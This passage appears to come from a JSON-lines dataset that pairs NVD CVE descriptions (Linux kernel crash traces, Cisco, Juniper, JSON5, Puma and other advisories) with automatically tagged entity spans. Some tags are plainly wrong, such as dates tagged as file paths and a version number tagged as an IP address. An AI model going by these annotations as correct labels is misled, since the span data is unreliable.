golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.", "spans": {"DOMAIN: golang.org": [[779, 789], [964, 974]], "FILEPATH: /x/net/http2": [[789, 801], [974, 986]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-39325"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to do sanity check on block address in f2fs_do_zero_range()\n\nAs Yanming reported in bugzilla:\n\nhttps://bugzilla.kernel.org/show_bug.cgi?id=215894\n\nI have encountered a bug in F2FS file system in kernel v5.17.\n\nI have uploaded the system call sequence as case.c, and a fuzzed image can\nbe found in google net disk\n\nThe kernel should enable CONFIG_KASAN=y and CONFIG_KASAN_INLINE=y. You can\nreproduce the bug by running the following commands:\n\nkernel BUG at fs/f2fs/segment.c:2291!\nCall Trace:\n f2fs_invalidate_blocks+0x193/0x2d0\n f2fs_fallocate+0x2593/0x4a70\n vfs_fallocate+0x2a5/0xac0\n ksys_fallocate+0x35/0x70\n __x64_sys_fallocate+0x8e/0xf0\n do_syscall_64+0x3b/0x90\n entry_SYSCALL_64_after_hwframe+0x44/0xae\n\nThe root cause is, after image was fuzzed, block mapping info in inode\nwill be inconsistent with SIT table, so in f2fs_fallocate(), it will cause\npanic when updating SIT with invalid blkaddr.\n\nLet's fix the issue by adding sanity check on block address before updating\nSIT table with it.", "spans": {"URL: https://bugzilla.kernel.org/show_bug.cgi?id=215894": [[174, 224]], "FILEPATH: /f2fs/segment.c": [[538, 553]], "FILEPATH: case.c": [[333, 339]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49363"}}
{"text": "SPIP 4.0.0 is affected by a Cross Site Request Forgery (CSRF) vulnerability in ecrire/public/aiguiller.php, ecrire/public/balises.php, ecrire/balise/formulaire_.php. To exploit the vulnerability, a visitor must visit a malicious website which redirects to the SPIP website. It is also possible to combine XSS vulnerabilities in SPIP 4.0.0 to exploit it. The vulnerability allows an authenticated attacker to execute malicious code without the knowledge of the user on the website (CSRF).", "spans": {"FILEPATH: /public/aiguiller.php": [[85, 106]], "FILEPATH: /public/balises.php": [[114, 133]], "FILEPATH: /balise/formulaire_.php.": [[141, 165]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-44122"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/fpu: KVM: Set the base guest FPU uABI size to sizeof(struct kvm_xsave)\n\nSet the starting uABI size of KVM's guest FPU to 'struct kvm_xsave',\ni.e. to KVM's historical uABI size.  When saving FPU state for usersapce,\nKVM (well, now the FPU) sets the FP+SSE bits in the XSAVE header even if\nthe host doesn't support XSAVE.  Setting the XSAVE header allows the VM\nto be migrated to a host that does support XSAVE without the new host\nhaving to handle FPU state that may or may not be compatible with XSAVE.\n\nSetting the uABI size to the host's default size results in out-of-bounds\nwrites (setting the FP+SSE bits) and data corruption (that is thankfully\ncaught by KASAN) when running on hosts without XSAVE, e.g. on Core2 CPUs.\n\nWARN if the default size is larger than KVM's historical uABI size; all\nfeatures that can push the FPU size beyond the historical size must be\nopt-in.\n\n  ==================================================================\n  BUG: KASAN: slab-out-of-bounds in fpu_copy_uabi_to_guest_fpstate+0x86/0x130\n  Read of size 8 at addr ffff888011e33a00 by task qemu-build/681\n  CPU: 1 PID: 681 Comm: qemu-build Not tainted 5.18.0-rc5-KASAN-amd64 #1\n  Hardware name:  /DG35EC, BIOS ECG3510M.86A.0118.2010.0113.1426 01/13/2010\n  Call Trace:\n   <TASK>\n   dump_stack_lvl+0x34/0x45\n   print_report.cold+0x45/0x575\n   kasan_report+0x9b/0xd0\n   fpu_copy_uabi_to_guest_fpstate+0x86/0x130\n   kvm_arch_vcpu_ioctl+0x72a/0x1c50 [kvm]\n   kvm_vcpu_ioctl+0x47f/0x7b0 [kvm]\n   __x64_sys_ioctl+0x5de/0xc90\n   do_syscall_64+0x31/0x50\n   entry_SYSCALL_64_after_hwframe+0x44/0xae\n   </TASK>\n  Allocated by task 0:\n  (stack is not available)\n  The buggy address belongs to the object at ffff888011e33800\n   which belongs to the cache kmalloc-512 of size 512\n  The buggy address is located 0 bytes to the right of\n   512-byte region [ffff888011e33800, ffff888011e33a00)\n  The buggy address belongs to the physical page:\n  page:0000000089cd4adb refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11e30\n  head:0000000089cd4adb order:2 compound_mapcount:0 compound_pincount:0\n  flags: 0x4000000000010200(slab|head|zone=1)\n  raw: 4000000000010200 dead000000000100 dead000000000122 ffff888001041c80\n  raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000\n  page dumped because: kasan: bad access detected\n  Memory state around the buggy address:\n   ffff888011e33900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n   ffff888011e33980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  >ffff888011e33a00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n                     ^\n   ffff888011e33a80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n   ffff888011e33b00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n  ==================================================================\n  Disabling lock debugging due to kernel taint", "spans": {"FILEPATH: /13/2010": [[1303, 1311]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[78, 81], [175, 178], [222, 225], [288, 291], [839, 842]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49557"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched/core: Fix use-after-free bug in dup_user_cpus_ptr()\n\nSince commit 07ec77a1d4e8 (\"sched: Allow task CPU affinity to be\nrestricted on asymmetric systems\"), the setting and clearing of\nuser_cpus_ptr are done under pi_lock for arm64 architecture. However,\ndup_user_cpus_ptr() accesses user_cpus_ptr without any lock\nprotection. Since sched_setaffinity() can be invoked from another\nprocess, the process being modified may be undergoing fork() at\nthe same time.  When racing with the clearing of user_cpus_ptr in\n__set_cpus_allowed_ptr_locked(), it can lead to user-after-free and\npossibly double-free in arm64 kernel.\n\nCommit 8f9ea86fdf99 (\"sched: Always preserve the user requested\ncpumask\") fixes this problem as user_cpus_ptr, once set, will never\nbe cleared in a task's lifetime. However, this bug was re-introduced\nin commit 851a723e45d1 (\"sched: Always clear user_cpus_ptr in\ndo_set_cpus_allowed()\") which allows the clearing of user_cpus_ptr in\ndo_set_cpus_allowed(). This time, it will affect all arches.\n\nFix this bug by always clearing the user_cpus_ptr of the newly\ncloned/forked task before the copying process starts and check the\nuser_cpus_ptr state of the source task under pi_lock.\n\nNote to stable, this patch won't be applicable to stable releases.\nJust copy the new dup_user_cpus_ptr() function over.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[85, 99]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48892"}}
{"text": "A vulnerability in the Border Gateway Protocol (BGP) Multicast VPN (MVPN) implementation of Cisco NX-OS Software could allow an unauthenticated, remote attacker to cause an affected device to unexpectedly reload, resulting in a denial of service (DoS) condition. The vulnerability is due to incomplete input validation of a specific type of BGP MVPN update message. An attacker could exploit this vulnerability by sending this specific, valid BGP MVPN update message to a targeted device. A successful exploit could allow the attacker to cause one of the BGP-related routing applications to restart multiple times, leading to a system-level restart. Note: The Cisco implementation of BGP accepts incoming BGP traffic from only explicitly configured peers. To exploit this vulnerability, an attacker must send a specific BGP MVPN update message over an established TCP connection that appears to come from a trusted BGP peer. To do so, the attacker must obtain information about the BGP peers in the trusted network of the affected system.", "spans": {"SYSTEM: Cisco NX-OS": [[92, 103]], "ORGANIZATION: Cisco": [[660, 665]], "VULNERABILITY: denial of service": [[228, 245]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-3397"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nata: libata-transport: fix error handling in ata_tlink_add()\n\nIn ata_tlink_add(), the return value of transport_add_device() is\nnot checked. As a result, it causes null-ptr-deref while removing\nthe module, because transport_remove_device() is called to remove\nthe device that was not added.\n\nUnable to handle kernel NULL pointer dereference at virtual address 00000000000000d0\nCPU: 33 PID: 13850 Comm: rmmod Kdump: loaded Tainted: G        W          6.1.0-rc3+ #12\npstate: 60400009 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : device_del+0x48/0x39c\nlr : device_del+0x44/0x39c\nCall trace:\n device_del+0x48/0x39c\n attribute_container_class_device_del+0x28/0x40\n transport_remove_classdev+0x60/0x7c\n attribute_container_device_trigger+0x118/0x120\n transport_remove_device+0x20/0x30\n ata_tlink_delete+0x88/0xb0 [libata]\n ata_tport_delete+0x2c/0x60 [libata]\n ata_port_detach+0x148/0x1b0 [libata]\n ata_pci_remove_one+0x50/0x80 [libata]\n ahci_remove_one+0x4c/0x8c [ahci]\n\nFix this by checking and handling return value of transport_add_device()\nin ata_tlink_add().", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[385, 409]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49824"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nIB/hfi1: Fix panic with larger ipoib send_queue_size\n\nWhen the ipoib send_queue_size is increased from the default the following\npanic happens:\n\n  RIP: 0010:hfi1_ipoib_drain_tx_ring+0x45/0xf0 [hfi1]\n  Code: 31 e4 eb 0f 8b 85 c8 02 00 00 41 83 c4 01 44 39 e0 76 60 8b 8d cc 02 00 00 44 89 e3 be 01 00 00 00 d3 e3 48 03 9d c0 02 00 00 <c7> 83 18 01 00 00 00 00 00 00 48 8b bb 30 01 00 00 e8 25 af a7 e0\n  RSP: 0018:ffffc9000798f4a0 EFLAGS: 00010286\n  RAX: 0000000000008000 RBX: ffffc9000aa0f000 RCX: 000000000000000f\n  RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000000\n  RBP: ffff88810ff08000 R08: ffff88889476d900 R09: 0000000000000101\n  R10: 0000000000000000 R11: ffffc90006590ff8 R12: 0000000000000200\n  R13: ffffc9000798fba8 R14: 0000000000000000 R15: 0000000000000001\n  FS:  00007fd0f79cc3c0(0000) GS:ffff88885fb00000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: ffffc9000aa0f118 CR3: 0000000889c84001 CR4: 00000000001706e0\n  Call Trace:\n   <TASK>\n   hfi1_ipoib_napi_tx_disable+0x45/0x60 [hfi1]\n   hfi1_ipoib_dev_stop+0x18/0x80 [hfi1]\n   ipoib_ib_dev_stop+0x1d/0x40 [ib_ipoib]\n   ipoib_stop+0x48/0xc0 [ib_ipoib]\n   __dev_close_many+0x9e/0x110\n   __dev_change_flags+0xd9/0x210\n   dev_change_flags+0x21/0x60\n   do_setlink+0x31c/0x10f0\n   ? __nla_validate_parse+0x12d/0x1a0\n   ? __nla_parse+0x21/0x30\n   ? inet6_validate_link_af+0x5e/0xf0\n   ? cpumask_next+0x1f/0x20\n   ? __snmp6_fill_stats64.isra.53+0xbb/0x140\n   ? __nla_validate_parse+0x47/0x1a0\n   __rtnl_newlink+0x530/0x910\n   ? pskb_expand_head+0x73/0x300\n   ? __kmalloc_node_track_caller+0x109/0x280\n   ? __nla_put+0xc/0x20\n   ? cpumask_next_and+0x20/0x30\n   ? update_sd_lb_stats.constprop.144+0xd3/0x820\n   ? _raw_spin_unlock_irqrestore+0x25/0x37\n   ? __wake_up_common_lock+0x87/0xc0\n   ? kmem_cache_alloc_trace+0x3d/0x3d0\n   rtnl_newlink+0x43/0x60\n\nThe issue happens when the shift that should have been a function of the\ntxq item size mistakenly used the ring size.\n\nFix by using the item size.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48729"}}
{"text": "Multiple XSS vulnerabilities in the Final Tiles Gallery plugin before 3.4.19 for WordPress allow remote attackers to inject arbitrary web script or HTML via the Title (aka imageTitle) or Caption (aka description) field of an image to wp-admin/admin-ajax.php.", "spans": {"FILEPATH: ajax.php": [[249, 257]], "SYSTEM: WordPress": [[81, 90]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14962"}}
{"text": "A local privilege escalation vulnerability in Juniper Networks Junos OS and Junos OS Evolved allows a local, low-privileged user to cause the Juniper DHCP daemon (jdhcpd) process to crash, resulting in a Denial of Service (DoS), or execute arbitrary commands as root. Continued processing of malicious input will repeatedly crash the system and sustain the Denial of Service (DoS) condition. Systems are only vulnerable if jdhcpd is running, which can be confirmed via the 'show system processes' command. For example: root@host# run show system processes extensive | match dhcp 26537 root -16 0 97568K 13692K RUN 0 0:01 3.71% jdhcpd This issue affects: Juniper Networks Junos OS: All versions, including the following supported releases: 15.1 versions prior to 15.1R7-S10; 17.4 versions prior to 17.4R3-S5; 18.3 versions prior to 18.3R3-S5; 18.4 versions prior to 18.4R3-S9; 19.1 versions prior to 19.1R3-S6; 19.2 versions prior to 19.2R1-S7, 19.2R3-S3; 19.3 versions prior to 19.3R2-S6, 19.3R3-S3; 19.4 versions prior to 19.4R3-S6; 20.1 versions prior to 20.1R2-S2, 20.1R3-S1; 20.2 versions prior to 20.2R3-S2; 20.3 versions prior to 20.3R3; 20.4 versions prior to 20.4R2-S1, 20.4R3; 21.1 versions prior to 21.1R1-S1, 21.1R2. Juniper Networks Junos OS Evolved: All versions prior to 20.4R2-S3-EVO; All versions of 21.1-EVO.", "spans": {"ORGANIZATION: Juniper": [[46, 53], [142, 149], [654, 661], [1228, 1235]], "VULNERABILITY: privilege escalation": [[8, 28]], "VULNERABILITY: Denial of Service": [[204, 221], [357, 374]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-31359"}}
{"text": "In Puma (RubyGem) before 4.3.3 and 3.12.4, if an application using Puma allows untrusted input in an early-hints header, an attacker can use a carriage return character to end the header and inject malicious content, such as additional headers or an entirely new response body. This vulnerability is known as HTTP Response Splitting. While not an attack in itself, response splitting is a vector for several other attacks, such as cross-site scripting (XSS). This is related to CVE-2020-5247, which fixed this vulnerability but only for regular responses. This has been fixed in 4.3.3 and 3.12.4.", "spans": {"CVE_ID: CVE-2020-5247": [[478, 491]], "VULNERABILITY: cross-site scripting": [[431, 451]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-5249"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: qualcomm: rmnet: fix global oob in rmnet_policy\n\nThe variable rmnet_link_ops assign a *bigger* maxtype which leads to a\nglobal out-of-bounds read when parsing the netlink attributes. See bug\ntrace below:\n\n==================================================================\nBUG: KASAN: global-out-of-bounds in validate_nla lib/nlattr.c:386 [inline]\nBUG: KASAN: global-out-of-bounds in __nla_validate_parse+0x24af/0x2750 lib/nlattr.c:600\nRead of size 1 at addr ffffffff92c438d0 by task syz-executor.6/84207\n\nCPU: 0 PID: 84207 Comm: syz-executor.6 Tainted: G                 N 6.1.0 #3\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x8b/0xb3 lib/dump_stack.c:106\n print_address_description mm/kasan/report.c:284 [inline]\n print_report+0x172/0x475 mm/kasan/report.c:395\n kasan_report+0xbb/0x1c0 mm/kasan/report.c:495\n validate_nla lib/nlattr.c:386 [inline]\n __nla_validate_parse+0x24af/0x2750 lib/nlattr.c:600\n __nla_parse+0x3e/0x50 lib/nlattr.c:697\n nla_parse_nested_deprecated include/net/netlink.h:1248 [inline]\n __rtnl_newlink+0x50a/0x1880 net/core/rtnetlink.c:3485\n rtnl_newlink+0x64/0xa0 net/core/rtnetlink.c:3594\n rtnetlink_rcv_msg+0x43c/0xd70 net/core/rtnetlink.c:6091\n netlink_rcv_skb+0x14f/0x410 net/netlink/af_netlink.c:2540\n netlink_unicast_kernel net/netlink/af_netlink.c:1319 [inline]\n netlink_unicast+0x54e/0x800 net/netlink/af_netlink.c:1345\n netlink_sendmsg+0x930/0xe50 net/netlink/af_netlink.c:1921\n sock_sendmsg_nosec net/socket.c:714 [inline]\n sock_sendmsg+0x154/0x190 net/socket.c:734\n ____sys_sendmsg+0x6df/0x840 net/socket.c:2482\n ___sys_sendmsg+0x110/0x1b0 net/socket.c:2536\n __sys_sendmsg+0xf3/0x1c0 net/socket.c:2565\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x3b/0x90 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\nRIP: 0033:0x7fdcf2072359\nCode: 28 00 00 00 75 05 48 83 c4 28 c3 e8 f1 19 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007fdcf13e3168 EFLAGS: 00000246 ORIG_RAX: 000000000000002e\nRAX: ffffffffffffffda RBX: 00007fdcf219ff80 RCX: 00007fdcf2072359\nRDX: 0000000000000000 RSI: 0000000020000200 RDI: 0000000000000003\nRBP: 00007fdcf20bd493 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 00007fffbb8d7bdf R14: 00007fdcf13e3300 R15: 0000000000022000\n </TASK>\n\nThe buggy address belongs to the variable:\n rmnet_policy+0x30/0xe0\n\nThe buggy address belongs to the physical page:\npage:0000000065bdeb3c refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x155243\nflags: 0x200000000001000(reserved|node=0|zone=2)\nraw: 0200000000001000 ffffea00055490c8 ffffea00055490c8 0000000000000000\nraw: 0000000000000000 0000000000000000 00000001ffffffff 0000000000000000\npage dumped because: kasan: bad access detected\n\nMemory state around the buggy address:\n ffffffff92c43780: f9 f9 f9 f9 00 00 00 02 f9 f9 f9 f9 00 00 00 07\n ffffffff92c43800: f9 f9 f9 f9 00 00 00 05 f9 f9 f9 f9 06 f9 f9 f9\n>ffffffff92c43880: f9 f9 f9 f9 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9\n                                                 ^\n ffffffff92c43900: 00 00 00 00 00 00 00 00 07 f9 f9 f9 f9 f9 f9 f9\n ffffffff92c43980: 00 00 00 07 f9 f9 f9 f9 00 00 00 05 f9 f9 f9 f9\n\nAccording to the comment of `nla_parse_nested_deprecated`, the maxtype\nshould be len(destination array) - 1. Hence use `IFLA_RMNET_MAX` here.", "spans": {"FILEPATH: /01/2014": [[736, 744]], "FILEPATH: /kasan/report.c": [[884, 899], [941, 956], [988, 1003]], "FILEPATH: /net/netlink.h": [[1177, 1191]], "FILEPATH: /core/rtnetlink.c": [[1238, 1255], [1288, 1305], [1345, 1362]], "FILEPATH: /netlink/af_netlink.c": [[1400, 1421], [1454, 1475], [1522, 1543], [1581, 1602]], "FILEPATH: /x86/entry/common.c": [[1854, 1873], [1915, 1934]], "FILEPATH: nlattr.c": [[399, 407], [496, 504], [1026, 1034], [1088, 1096], [1128, 1136]], "FILEPATH: dump_stack.c": [[783, 795], [838, 850]], "FILEPATH: socket.c": [[1632, 1640], [1684, 1692], [1730, 1738], [1776, 1784], [1820, 1828]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[671, 675]], "VULNERABILITY: out-of-bounds read": [[201, 219]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26597"}}
{"text": "A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to access sensitive information, conduct a server-side request forgery (SSRF) attack through an affected device, or negatively impact the responsiveness of the web-based management interface itself. This vulnerability is due to improper handling of XML External Entity (XXE) entries when parsing certain XML files. An attacker could exploit this vulnerability by uploading a crafted XML file that contains references to external entities. A successful exploit could allow the attacker to retrieve files from the local system, resulting in the disclosure of confidential information. A successful exploit could also cause the web application to perform arbitrary HTTP requests on behalf of the attacker or consume memory resources to reduce the availability of the web-based management interface. To successfully exploit this vulnerability, an attacker would need valid Super Admin or Policy Admin credentials.", "spans": {"ORGANIZATION: Cisco": [[57, 62]], "VULNERABILITY: server-side request forgery": [[183, 210]], "VULNERABILITY: XML External Entity": [[389, 408]], "VULNERABILITY: SSRF": [[212, 216]], "VULNERABILITY: XXE": [[410, 413]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-20030"}}
{"text": "JSON5 is an extension to the popular JSON file format that aims to be easier to write and maintain by hand (e.g. for config files). The `parse` method of the JSON5 library before and including versions 1.0.1 and 2.2.1 does not restrict parsing of keys named `__proto__`, allowing specially crafted strings to pollute the prototype of the resulting object. This vulnerability pollutes the prototype of the object returned by `JSON5.parse` and not the global Object prototype, which is the commonly understood definition of Prototype Pollution. However, polluting the prototype of a single object can have significant security impact for an application if the object is later used in trusted operations. This vulnerability could allow an attacker to set arbitrary and unexpected keys on the object returned from `JSON5.parse`. The actual impact will depend on how applications utilize the returned object and how they filter unwanted keys, but could include denial of service, cross-site scripting, elevation of privilege, and in extreme cases, remote code execution. `JSON5.parse` should restrict parsing of `__proto__` keys when parsing JSON strings to objects. As a point of reference, the `JSON.parse` method included in JavaScript ignores `__proto__` keys. Simply changing `JSON5.parse` to `JSON.parse` in the examples above mitigates this vulnerability. This vulnerability is patched in json5 versions 1.0.2, 2.2.2, and later.", "spans": {"VULNERABILITY: remote code execution": [[1043, 1064]], "VULNERABILITY: cross-site scripting": [[975, 995]], "VULNERABILITY: Prototype Pollution": [[522, 541]], "VULNERABILITY: denial of service": [[956, 973]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-46175"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: Fix slab-use-after-free Read in l2cap_send_cmd\n\nAfter the hci sync command releases l2cap_conn, the hci receive data work\nqueue references the released l2cap_conn when sending to the upper layer.\nAdd hci dev lock to the hci receive data work queue to synchronize the two.\n\n[1]\nBUG: KASAN: slab-use-after-free in l2cap_send_cmd+0x187/0x8d0 net/bluetooth/l2cap_core.c:954\nRead of size 8 at addr ffff8880271a4000 by task kworker/u9:2/5837\n\nCPU: 0 UID: 0 PID: 5837 Comm: kworker/u9:2 Not tainted 6.13.0-rc5-syzkaller-00163-gab75170520d4 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\nWorkqueue: hci1 hci_rx_work\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0x169/0x550 mm/kasan/report.c:489\n kasan_report+0x143/0x180 mm/kasan/report.c:602\n l2cap_build_cmd net/bluetooth/l2cap_core.c:2964 [inline]\n l2cap_send_cmd+0x187/0x8d0 net/bluetooth/l2cap_core.c:954\n l2cap_sig_send_rej net/bluetooth/l2cap_core.c:5502 [inline]\n l2cap_sig_channel net/bluetooth/l2cap_core.c:5538 [inline]\n l2cap_recv_frame+0x221f/0x10db0 net/bluetooth/l2cap_core.c:6817\n hci_acldata_packet net/bluetooth/hci_core.c:3797 [inline]\n hci_rx_work+0x508/0xdb0 net/bluetooth/hci_core.c:4040\n process_one_work kernel/workqueue.c:3229 [inline]\n process_scheduled_works+0xa66/0x1840 kernel/workqueue.c:3310\n worker_thread+0x870/0xd30 kernel/workqueue.c:3391\n kthread+0x2f0/0x390 kernel/kthread.c:389\n ret_from_fork+0x4b/0x80 arch/x86/kernel/process.c:147\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244\n </TASK>\n\nAllocated by task 5837:\n kasan_save_stack mm/kasan/common.c:47 [inline]\n kasan_save_track+0x3f/0x80 mm/kasan/common.c:68\n poison_kmalloc_redzone mm/kasan/common.c:377 [inline]\n __kasan_kmalloc+0x98/0xb0 mm/kasan/common.c:394\n kasan_kmalloc include/linux/kasan.h:260 [inline]\n __kmalloc_cache_noprof+0x243/0x390 mm/slub.c:4329\n kmalloc_noprof include/linux/slab.h:901 [inline]\n kzalloc_noprof include/linux/slab.h:1037 [inline]\n l2cap_conn_add+0xa9/0x8e0 net/bluetooth/l2cap_core.c:6860\n l2cap_connect_cfm+0x115/0x1090 net/bluetooth/l2cap_core.c:7239\n hci_connect_cfm include/net/bluetooth/hci_core.h:2057 [inline]\n hci_remote_features_evt+0x68e/0xac0 net/bluetooth/hci_event.c:3726\n hci_event_func net/bluetooth/hci_event.c:7473 [inline]\n hci_event_packet+0xac2/0x1540 net/bluetooth/hci_event.c:7525\n hci_rx_work+0x3f3/0xdb0 net/bluetooth/hci_core.c:4035\n process_one_work kernel/workqueue.c:3229 [inline]\n process_scheduled_works+0xa66/0x1840 kernel/workqueue.c:3310\n worker_thread+0x870/0xd30 kernel/workqueue.c:3391\n kthread+0x2f0/0x390 kernel/kthread.c:389\n ret_from_fork+0x4b/0x80 arch/x86/kernel/process.c:147\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244\n\nFreed by task 54:\n kasan_save_stack mm/kasan/common.c:47 [inline]\n kasan_save_track+0x3f/0x80 mm/kasan/common.c:68\n kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:582\n poison_slab_object mm/kasan/common.c:247 [inline]\n __kasan_slab_free+0x59/0x70 mm/kasan/common.c:264\n kasan_slab_free include/linux/kasan.h:233 [inline]\n slab_free_hook mm/slub.c:2353 [inline]\n slab_free mm/slub.c:4613 [inline]\n kfree+0x196/0x430 mm/slub.c:4761\n l2cap_connect_cfm+0xcc/0x1090 net/bluetooth/l2cap_core.c:7235\n hci_connect_cfm include/net/bluetooth/hci_core.h:2057 [inline]\n hci_conn_failed+0x287/0x400 net/bluetooth/hci_conn.c:1266\n hci_abort_conn_sync+0x56c/0x11f0 net/bluetooth/hci_sync.c:5603\n hci_cmd_sync_work+0x22b/0x400 net/bluetooth/hci_sync.c:332\n process_one_work kernel/workqueue.c:3229 [inline]\n process_scheduled_works+0xa66/0x1840 kernel/workqueue.c:3310\n worker_thread+0x870/0xd30 kernel/workqueue.c:3391\n kthread+0x2f0/0x390 kernel/kthread.c:389\n ret_from_fork+0x4b/0x80 arch/x86/kernel/process.c:147\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entr\n---truncated---", "spans": {"FILEPATH: /bluetooth/l2cap_core.c": [[429, 452], [1027, 1050], [1096, 1119], [1147, 1170], [1207, 1230], [1281, 1304], [2211, 2234], [2275, 2298], [3397, 3420]], "FILEPATH: /13/2024": [[704, 712]], "FILEPATH: /kasan/report.c": [[882, 897], [939, 954], [987, 1002]], "FILEPATH: /bluetooth/hci_core.c": [[1333, 1354], [1397, 1418], [2582, 2603]], "FILEPATH: /x86/kernel/process.c": [[1659, 1680], [2844, 2865], [3908, 3929]], "FILEPATH: /x86/entry/entry_64.S": [[1718, 1739], [2903, 2924]], "FILEPATH: /kasan/common.c": [[1798, 1813], [1856, 1871], [1901, 1916], [1959, 1974], [2968, 2983], [3026, 3041], [3122, 3137], [3182, 3197]], "FILEPATH: /linux/kasan.h": [[2001, 2015], [3226, 3240]], "FILEPATH: /linux/slab.h": [[2103, 2116], [2153, 2166]], "FILEPATH: /net/bluetooth/hci_core.h": [[2328, 2353], [3450, 3475]], "FILEPATH: /bluetooth/hci_event.c": [[2408, 2430], [2455, 2477], [2526, 2548]], "FILEPATH: /kasan/generic.c": [[3079, 3095]], "FILEPATH: /bluetooth/hci_conn.c": [[3522, 3543]], "FILEPATH: /bluetooth/hci_sync.c": [[3586, 3607], [3647, 3668]], "FILEPATH: /x86/entry/entr": [[3967, 3982]], "FILEPATH: dump_stack.c": [[779, 791], [836, 848]], "FILEPATH: workqueue.c": [[1449, 1460], [1520, 1531], [1571, 1582], [2634, 2645], [2705, 2716], [2756, 2767], [3698, 3709], [3769, 3780], [3820, 3831]], "FILEPATH: kthread.c": [[1616, 1625], [2801, 2810], [3865, 3874]], "FILEPATH: slub.c": [[2068, 2074], [3273, 3279], [3308, 3314], [3351, 3357]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[638, 644], [645, 651], [667, 673], [695, 701]], "VULNERABILITY: use-after-free": [[96, 110], [381, 395]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21969"}}
{"text": "This vulnerability allows remote attackers to disclose sensitive information on affected installations of Foxit Studio Photo 3.6.6.916. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of PSD files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated structure. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the current process. Was ZDI-CAN-9626.", "spans": {"IP_ADDRESS: 3.6.6.916": [[125, 134]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8879"}}
